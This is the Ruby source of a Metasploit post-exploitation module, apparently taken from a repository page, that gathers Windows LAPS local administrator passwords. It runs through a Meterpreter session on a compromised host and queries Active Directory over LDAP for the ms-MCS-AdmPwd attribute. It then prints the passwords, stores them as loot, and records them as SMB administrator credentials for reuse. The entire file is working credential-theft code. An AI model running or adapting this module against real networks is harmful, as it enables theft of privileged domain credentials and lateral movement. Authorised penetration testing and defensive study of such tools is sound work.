Path: blob/master/modules/post/windows/gather/credentials/enum_laps.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP89FIELDS = [10'distinguishedName',11'dNSHostName',12'ms-MCS-AdmPwd',13'ms-MCS-AdmPwdExpirationTime'14].freeze1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Windows Gather Credentials Local Administrator Password Solution',21'Description' => %q{22This module will recover the LAPS (Local Administrator Password Solution) passwords,23configured in Active Directory, which is usually only accessible by privileged users.24Note that the local administrator account name is not stored in Active Directory,25so it is assumed to be 'Administrator' by default.26},27'License' => MSF_LICENSE,28'Author' => [29'Ben Campbell',30],31'Platform' => [ 'win' ],32'SessionTypes' => [ 'meterpreter' ],33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [],36'Reliability' => []37},38'Compat' => {39'Meterpreter' => {40'Commands' => %w[41stdapi_net_resolve_hosts42]43}44}45)46)4748register_options([49OptString.new('LOCAL_ADMIN_NAME', [true, 'The username to store the password against', 'Administrator']),50OptBool.new('STORE_DB', [true, 'Store file in loot.', false]),51OptBool.new('STORE_LOOT', [true, 'Store file in loot.', true]),52OptString.new('FILTER', [true, 'Search filter.', '(&(objectCategory=Computer)(ms-MCS-AdmPwd=*))'])53])5455deregister_options('FIELDS')56end5758def run59search_filter = datastore['FILTER']60max_search = datastore['MAX_SEARCH']6162begin63q = query(search_filter, max_search, FIELDS)64rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e65print_error(e.message)66return67end6869if q.nil? || q[:results].empty?70print_status('No results returned.')71else72print_status('Parsing results...')73results_table = parse_results(q[:results])74print_line results_table.to_s7576if datastore['STORE_LOOT']77stored_path = store_loot('laps.passwords', 'text/plain', session, results_table.to_csv)78print_good("Results saved to: #{stored_path}")79end80end81end8283# Takes the results of LDAP query, parses them into a table84# and records and usernames as {Metasploit::Credential::Core}s in85# the database if datastore option STORE_DB is true.86#87# @param results [Array<Array<Hash>>] The LDAP query results to parse88# @return [Rex::Text::Table] the table containing all the result data89def parse_results(results)90laps_results = []91# Results table holds raw string data92results_table = Rex::Text::Table.new(93'Header' => 'Local Administrator Password Solution (LAPS) Results',94'Indent' => 1,95'SortIndex' => -1,96'Columns' => FIELDS97)9899results.each do |result|100row = []101102result.each do |field|103if field.nil?104row << ''105else106if field[:type] == :number107value = convert_windows_nt_time_format(field[:value])108else109value = field[:value]110end111row << value112end113end114115hostname = result[FIELDS.index('dNSHostName')][:value].downcase116password = result[FIELDS.index('ms-MCS-AdmPwd')][:value]117dn = result[FIELDS.index('distinguishedName')][:value]118expiration = convert_windows_nt_time_format(result[FIELDS.index('ms-MCS-AdmPwdExpirationTime')][:value])119120next if password.to_s.empty?121122results_table << row123laps_results << {124hostname: hostname,125password: password,126dn: dn,127expiration: expiration128}129end130131if datastore['STORE_DB']132print_status('Resolving IP addresses...')133hosts = []134laps_results.each do |h|135hosts << h[:hostname]136end137138resolve_results = client.net.resolve.resolve_hosts(hosts)139140# Match each IP to a host...141resolve_results.each do |r|142l = laps_results.find { |laps| laps[:hostname] == r[:hostname] }143l[:ip] = r[:ip]144end145146laps_results.each do |r|147next if r[:ip].to_s.empty?148next if r[:password].to_s.empty?149150store_creds(datastore['LOCAL_ADMIN_NAME'], r[:password], r[:ip])151end152end153154results_table155end156157def store_creds(username, password, ip)158service_data = {159address: ip,160port: 445,161service_name: 'smb',162protocol: 'tcp',163workspace_id: myworkspace_id164}165166credential_data = {167origin_type: :session,168session_id: session_db_id,169post_reference_name: refname,170username: username,171private_data: password,172private_type: :password173}174175credential_data.merge!(service_data)176177# Create the Metasploit::Credential::Core object178credential_core = create_credential(credential_data)179180# Assemble the options hash for creating the Metasploit::Credential::Login object181login_data = {182core: credential_core,183access_level: 'Administrator',184status: Metasploit::Model::Login::Status::UNTRIED185}186187# Merge in the service data and create our Login188login_data.merge!(service_data)189create_credential_login(login_data)190end191192# https://gist.github.com/nowhereman/189111193def convert_windows_nt_time_format(windows_time)194unix_time = windows_time.to_i / 10000000 - 11644473600195ruby_time = Time.at(unix_time)196ruby_time.strftime('%d/%m/%Y %H:%M:%S GMT %z')197end198end199200201